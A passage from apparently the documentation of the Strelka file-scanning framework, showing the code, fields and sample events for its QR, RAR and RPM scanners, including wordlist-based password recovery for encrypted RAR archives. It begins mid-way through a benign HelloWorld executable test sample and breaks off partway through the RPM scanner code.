\\x00\\x00\\xd0\\x05\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.r\\x01\\x00\\x00p(\\x0f\\x00\\x00\\n*\\x1e\\x02(\\x10\\x00\\x00\\n*BSJB\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00v4.0.30319\\x00\\x00\\x00\\x00\\x05\\x00l\\x00\\x00\\x00\\xcc\\x01\\x00\\x00#~\\x00\\x008\\x02\\x00\\x00X\\x02\\x00\\x00#Strings\\x00\\x00\\x00\\x00\\x90\\x04\\x00\\x00\\x1c\\x00\\x00\\x00#US\\x00\\xac\\x04\\x00\\x00\\x10\\x00\\x00\\x00#GUID\\x00\\x00\\x00\\xbc\\x04\\x00\\x00\\x14\\x01\\x00\\x00#Blob\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x01G\\x15\\x00\\x00\\t\\x00\\x00\\x00\\x00\\xfa\\x013\\x00\\x16\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x95\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\n\\x01\\x1c\\x02\\x06\\x00w\\x01\\x1c\\x02\\x06\\x00>\\x00\\xea\\x01\\x0f\\x00<\\x02\\x00\\x00\\x06\\x00f\\x00\\xd2\\x01\\x06\\x00\\xed\\x00\\xd2\\x01\\x06\\x00\\xce\\x00\\xd2\\x01\\x06\\x00^\\x01\\xd2\\x01\\x06\\x00*\\x01\\xd2\\x01\\x06\\x00C\\x01\\xd2\\x01\\x06\\x00}\\x00\\xd2\\x01\\x06\\x00R\\x00\\xfd\\x01\\x06\\x000\\x00\\xfd\\x01\\x06\\x00\\xb1\\x00\\xd2\\x01\\x06\\x00\\x98\\x00\\xa4\\x01\\x06\\x00P\\x02\\xc6\\x01\\x06\\x00\\x1e\\x00\\xc6\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\xbe\\x01\\x13\\x00A\\x00\\x01\\x00\\x01\\x00H \\x00\\x00\\x00\\x00\\x91\\x00\\xcd\\x01(\\x00\\x01\\x00T \\x00\\x00\\x00\\x00\\x86\\x18\\xe4\\x01\\x06\\x00\\x02\\x00\\x00\\x00\\x01\\x00K\\x02\\t\\x00\\xe4\\x01\\x01\\x00\\x11\\x00\\xe4\\x01\\x06\\x00\\x19\\x00\\xe4\\x01\\n\\x00)\\x00\\xe4\\x01\\x10\\x001\\x00\\xe4\\x01\\x10\\x009\\x00\\xe4\\x01\\x10\\x00A\\x00\\xe4\\x01\\x10\\x00I\\x00\\xe4\\x01\\x10\\x00Q\\x00\\xe4\\x01\\x10\\x00Y\\x00\\xe4\\x01\\x10\\x00a\\x00\\xe4\\x01\\x15\\x00i\\x00\\xe4\\x01\\x10\\x00q\\x00\\xe4\\x01\\x10\\x00y\\x00\\xe4\\x01\\x10\\x00\\x89\\x00&\\x00\\x1a\\x00\\x81\\x00\\xe4\\x01\\x06\\x00.\\x00\\x0b\\x00.\\x00.\\x00\\x13\\x007\\x00.\\x00\\x1b\\x00V\\x00.\\x00#\\x00_\\x00.\\x00+\\x00o\\x00.\\x003\\x00o\\x00.\\x00;\\x00u\\x00.\\x00C\\x00_\\x00.\\x00K\\x00|\\x00.\\x00S\\x00o\\x00.\\x00[\\x00o\\x00.\\x00c\\x00\\x95\\x00.\\x00k\\x00\\xbf\\x00.\\x00s\\x00\\xcc\\x00\\x04\\x80\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<Module>\\x00mscorlib\\x00HelloWorld\\x00Console\\x00WriteLine\\x00GuidAttribute\\x00DebuggableAttribute\\x00ComVisibleAttribute\\x00AssemblyTitleAttribute\\x00AssemblyTrademarkAttribute\\x00TargetFrameworkAttribute\\x00AssemblyFileVersionAttribute\\x00AssemblyConfigurationAttribute\\x00AssemblyDescriptionAttribute\\x00CompilationRelaxationsAttribute\\x00AssemblyProductAttribute\\x00AssemblyCopyrightAttribute\\x00AssemblyCompanyAttribute\\x00RuntimeCompatibilityAttribute\\x00HelloWorld.exe\\x00System.Runtime.Versioning\\x00Program\\x00System\\x00Main\\x00System.Reflection\\x00.ctor\\x00System.Diagnostics\\x00System.Runtime.InteropServices\\x00System.Runtime.CompilerServices\\x00DebuggingModes\\x00args\\x00Object\\x00\\x00\\x00\\x17H\\x00e\\x00l\\x00l\\x00o\\x00 \\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x00v\\x0e\\xa4Et\\\\\\xa8L\\x98\\xd0lw\\xcc\\x08\\xd7O\\x00\\x04 \\x01\\x01\\x08\\x03 \\x00\\x01\\x05 \\x01\\x01\\x11\\x11\\x04 \\x01\\x01\\x0e\\x04 \\x01\\x01\\x02\\x04\\x00\\x01\\x01\\x0e\\x08\\xb7z\\\\V\\x194\\xe0\\x89\\x05\\x00\\x01\\x01\\x1d\\x0e\\x08\\x01\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x1e\\x01\\x00\\x01\\x00T\\x02\\x16WrapNonExceptionThrows\\x01\\x08\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x01\\x00\\nHelloWorld\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x06\\x01\\x00\\x01.\\x00\\x00\\x18\\x01\\x00\\x13Copyright \\xc2\\xa9 . 2020\\x00\\x00)\\x01\\x00$c66634a4-f119-4236-b8d2-a085d40e57c7\\x00\\x00\\x0c\\x01\\x00\\x071.0.0.0\\x00\\x00G\\x01\\x00\\x1a.NETFramework,Version=v4.0\\x01\\x00T\\x0e\\x14FrameworkDisplayName\\x10.NET Framework 4\\x00\\x00\\x00\\x00\\xfe\\x84S\\xc9\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00k\\x00\\x00\\x00d&\\x00\\x00d\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RSDS\\xa6c\\x07\\xd0\\x9b\\x84\\xb9D\\xbf\\x03\\x0b\\xff-}\\x1eJ\\x01\\x00\\x00\\x00C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x10\\x00\\x00\\x00 \\x00\\x00\\x80\\x18\\x00\\x00\\x00P\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00h\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xc0\\x03\\x00\\x00\\x90@\\x00\\x000\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x034\\x00\\x00\\x00V\\x00S\\x00_\\x00V\\x00E\\x00R\\x00S\\x00I\\x00O\\x00N\\x00_\\x00I\\x00N\\x00F\\x00O\\x00\\x00\\x00\\x00\\x00\\xbd\\x04\\xef\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x00\\x00\\x00\\x01\\x00V\\x00a\\x00r\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00\\x00\\x00$\\x00\\x04\\x00\\x00\\x00T\\x00r\\x00a\\x00n\\x00s\\x00l\\x00a\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x04\\x90\\x02\\x00\\x00\\x01\\x00S\\x00t\\x00r\\x00i\\x00n\\x00g\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00l\\x02\\x00\\x00\\x01\\x000\\x000\\x000\\x000\\x000\\x004\\x00b\\x000\\x00\\x00\\x00\\x1a\\x00\\x01\\x00\\x01\\x00C\\x00o\\x00m\\x00m\\x00e\\x00n\\x00t\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x02\\x00\\x01\\x00C\\x00o\\x00m\\x00p\\x00a\\x00n\\x00y\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00>\\x00\\x0b\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00D\\x00e\\x00s\\x00c\\x00r\\x00i\\x00p\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00>\\x00\\x0f\\x00\\x01\\x00I\\x00n\\x00t\\x00e\\x00r\\x00n\\x00a\\x00l\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x00J\\x00\\x13\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00\\x00\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00 \\x00\\xa9\\x00 \\x00.\\x00 \\x002\\x000\\x002\\x000\\x00\\x00\\x00\\x00\\x00*\\x00\\x01\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00T\\x00r\\x00a\\x00d\\x00e\\x00m\\x00a\\x00r\\x00k\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00\\x0f\\x00\\x01\\x00O\\x00r\\x00i\\x00g\\x00i\\x00n\\x00a\\x00l\\x00F\\x00i\\x00l\\x00e\\x00n\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x006\\x00\\x0b\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x004\\x00\\x08\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x008\\x00\\x08\\x00\\x01\\x00A\\x00s\\x00s\\x00e\\x00m\\x00b\\x00l\\x00y\\x00 \\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00\\xd0C\\x00\\x00\\xea\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbb\\xbf<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\\r\\n\\r\\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\\r\\n <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\\r\\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\\r\\n <security>\\r\\n <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\\r\\n <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\\r\\n </requestedPrivileges>\\r\\n </security>\\r\\n </trustInfo>\\r\\n</assembly>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n }\nCollects QR code metadata from image files.
Source code instrelka/src/python/strelka/scanners/scan_qr.py class ScanQr(strelka.Scanner):\n \"\"\"\n Collects QR code metadata from image files.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n support_inverted = options.get(\"support_inverted\", True)\n\n self.event[\"data\"] = []\n\n barcode_data = []\n\n try:\n img = Image.open(io.BytesIO(data))\n barcodes = decode(img)\n\n if barcodes:\n for barcode in barcodes:\n barcode_data.append(barcode.data.decode(\"utf-8\"))\n\n if support_inverted:\n img_inverted = ImageOps.invert(img)\n barcodes = decode(img_inverted)\n\n if barcodes:\n self.flags.append(\"inverted\")\n for barcode in barcodes:\n barcode_data.append(barcode.data.decode(\"utf-8\"))\n\n if barcode_data:\n self.event[\"data\"] = barcode_data\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"decode_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanQr.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebmp_file image/jpeg image/png image/tiff image/webp image/x-ms-bmp jpeg_file png_file type_is_tiff"},{"location":"Scanners/ScanQr.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedata list elapsed str flags list"},{"location":"Scanners/ScanQr.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n }\nExtracts files from RAR archives.
Attributes:
Name Type Descriptionpassword List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for rar archives. Defaults to /etc/strelka/passwords.dat
Source code instrelka/src/python/strelka/scanners/scan_rar.py class ScanRar(strelka.Scanner):\n \"\"\"Extracts files from RAR archives.\n\n Attributes:\n password: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for rar archives.\n Defaults to /etc/strelka/passwords.dat\n \"\"\"\n\n def init(self):\n self.passwords = []\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n size_limit = options.get(\"size_limit\", 250000000)\n limit_metadata = options.get(\"limit_metadata\", True)\n crack_pws = options.get(\"crack_pws\", False)\n log_pws = options.get(\"log_pws\", True)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n\n # Gather count and list of files to be extracted\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n\n # Temporary top level compression metrics\n compress_size_total = 0\n file_size_total = 0\n\n if crack_pws:\n if not self.passwords:\n if os.path.isfile(password_file):\n with open(password_file, \"rb\") as f:\n for line in f:\n self.passwords.append(line.strip())\n\n if (\n len(self.passwords) == 0\n and \"no_passwords_loaded\" not in self.flags\n ):\n self.flags.append(\"no_passwords_loaded\")\n else:\n if \"password_file_missing\" not in self.flags:\n self.flags.append(\"password_file_missing\")\n\n self.passwords.insert(0, None)\n\n with io.BytesIO(data) as rar_io:\n try:\n with rarfile.RarFile(rar_io, part_only=True) as rar_obj:\n # If any file in the archive is encrypted, set a flag\n if (\n rar_obj.needs_password()\n and \"password_protected\" not in self.flags\n ):\n self.flags.append(\"password_protected\")\n\n # If filename encryption is enabled, set a flag\n if (\n rar_obj.needs_password()\n and len(list(rar_obj.infolist())) == 0\n and \"encrypted_filenames\" not in self.flags\n ):\n self.flags.append(\"encrypted_filenames\")\n\n # If filename encryption is enabled, attempt to recover the password\n if (\n crack_pws\n and self.passwords\n and len(list(rar_obj.infolist())) == 0\n ):\n for password in self.passwords:\n try:\n # Re-instantiate rarfile to address password change behavior\n rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_obj.setpassword(\n password.decode(\"utf-8\") if password else None\n )\n\n if list(rar_obj.infolist()):\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(password)\n ),\n )\n\n break\n except rarfile.RarWrongPassword:\n pass\n except rarfile.PasswordRequired:\n pass\n except rarfile.BadRarFile:\n pass\n\n if (\n len(list(rar_obj.infolist())) == 0\n and \"no_password_match_found\" not in self.flags\n ):\n self.flags.append(\"no_password_match_found\")\n\n if rar_obj.comment:\n self.event[\"comment\"] = rar_obj.comment\n\n filelist = rar_obj.infolist()\n\n # Count the file entries, in case the function encounters an unhandled exception\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n self.event[\"total\"][\"files\"] += 1\n\n # For each file in rar, gather metadata and pass extracted file back to Strelka\n for i, name in enumerate(filelist):\n if not name.isdir():\n extract = True\n extracted = False\n compression_rate = 0\n\n try:\n extract_data = b\"\"\n compressed_file = rar_obj.getinfo(name)\n\n if compressed_file.file_size > size_limit:\n extract = False\n if \"file_size_limit\" not in self.flags:\n self.flags.append(\"file_size_limit\")\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n extract = False\n if \"file_count_limit\" not in self.flags:\n self.flags.append(\"file_count_limit\")\n\n if (\n compressed_file.file_size > 0\n and compressed_file.compress_size > 0\n ):\n compress_size_total += compressed_file.compress_size\n file_size_total += compressed_file.file_size\n\n size_difference = (\n compressed_file.file_size\n - compressed_file.compress_size\n )\n compression_rate = (\n size_difference * 100.0\n ) / compressed_file.file_size\n\n self.event[\"host_os\"] = HOST_OS_MAPPING[\n compressed_file.host_os\n ]\n\n try:\n rar_data_io = rar_obj.open(\n compressed_file, mode=\"r\"\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n except Exception:\n try:\n # rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_data_io = rar_obj.open(\n compressed_file,\n mode=\"r\",\n pwd=\"\",\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n\n except Exception:\n if \"password_protected\" not in self.flags:\n self.flags.append(\"password_protected\")\n\n for password in self.passwords:\n try:\n # rar_obj = rarfile.RarFile(rar_io, part_only=True)\n rar_data_io = rar_obj.open(\n compressed_file,\n mode=\"r\",\n pwd=(\n password.decode(\"utf-8\")\n if password\n else None\n ),\n )\n if rar_data_io.readable():\n extract_data = rar_data_io.readall()\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(\n password\n )\n ),\n )\n if (\n password\n and crack_pws\n and log_pws\n ):\n if (\n \"password\"\n not in self.event.keys()\n ):\n self.event[\"password\"] = []\n if password.decode(\n \"utf-8\"\n ) not in self.event.get(\n \"password\", []\n ):\n self.event[\n \"password\"\n ].append(\n password.decode(\"utf-8\")\n )\n break\n except (\n RuntimeError,\n rarfile.RarCRCError,\n rarfile.RarWrongPassword,\n rarfile.BadRarFile,\n rarfile.PasswordRequired,\n ):\n pass\n\n # If we're cracking passwords, a file was encrypted, but failed to decrypt, set a flag\n if (\n crack_pws\n and compressed_file.needs_password()\n and not extract_data\n and \"no_password_match_found\" not in self.flags\n ):\n self.flags.append(\"no_password_match_found\")\n\n # If there's data in it, and no limits have been met, emit the file\n if extract_data and extract:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=f\"{compressed_file.filename}\"\n )\n\n extracted = True\n\n if not (\n limit_metadata\n and self.event[\"total\"][\"extracted\"] >= file_limit\n ):\n self.event[\"files\"].append(\n {\n \"file_name\": compressed_file.filename,\n \"datetime\": compressed_file.mtime.isoformat(),\n \"ctime\": (\n compressed_file.ctime.isoformat()\n if isinstance(\n compressed_file.ctime,\n datetime.datetime,\n )\n else None\n ),\n \"mtime\": (\n compressed_file.mtime.isoformat()\n if isinstance(\n compressed_file.mtime,\n datetime.datetime,\n )\n else None\n ),\n \"atime\": (\n compressed_file.atime.isoformat()\n if isinstance(\n compressed_file.atime,\n datetime.datetime,\n )\n else None\n ),\n \"file_size\": compressed_file.file_size,\n \"compression_size\": compressed_file.compress_size,\n \"compression_rate\": round(\n compression_rate, 2\n ),\n \"extracted\": extracted,\n \"encrypted\": compressed_file.needs_password(),\n }\n )\n\n if extracted:\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupport_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n\n except rarfile.BadRarFile:\n self.flags.append(\"bad_rar\")\n raise\n\n # Top level compression metric\n if file_size_total > 0 and compress_size_total > 0:\n size_difference_total = file_size_total - compress_size_total\n self.event[\"compression_rate\"] = round(\n (size_difference_total * 100.0) / file_size_total, 2\n )\n else:\n self.event[\"compression_rate\"] = 0.00\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanRar.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-rar rar_file"},{"location":"Scanners/ScanRar.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomment str compression_rate float elapsed str files list files.atime str files.atime NoneType files.compression_rate float files.compression_size int files.ctime NoneType files.ctime str files.datetime str files.encrypted bool files.extracted bool files.file_name str files.file_size int files.mtime str flags list host_os str password list total dict total.extracted int total.files int"},{"location":"Scanners/ScanRar.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 3, \"extracted\": 3},\n \"host_os\": \"RAR_OS_WIN32\",\n \"files\": [\n {\n \"file_name\": \"hidden/lorem-hidden.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem-readonly.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"lorem.txt\",\n \"datetime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"atime\": None,\n \"ctime\": None,\n \"mtime\": \"2022-12-12T03:12:55.499569400+00:00\",\n \"file_size\": 4015,\n \"compression_size\": 1484,\n \"compression_rate\": 63.04,\n \"extracted\": True,\n \"encrypted\": False,\n },\n ],\n \"compression_rate\": 63.04,\n }\nCollects metadata and extracts files from RPM files.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_rpm.py class ScanRpm(strelka.Scanner):\n \"\"\"Collects metadata and extracts files from RPM files.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n try:\n with rpmfile.open(tmp_data.name) as rpm_obj:\n extract_name = \"\"\n for key, value in rpm_obj.headers.items():\n if key == \"arch\":\n self.event[\"architecture\"] = value\n elif key == \"archive_compression\":\n self.event[\"archive_compression\"] = value\n elif key == \"archive_format\":\n self.event[\"archive_format\"] = value\n elif key == \"authors\":\n self.event[\"authors\"] = value\n elif key == \"buildhost\":\n 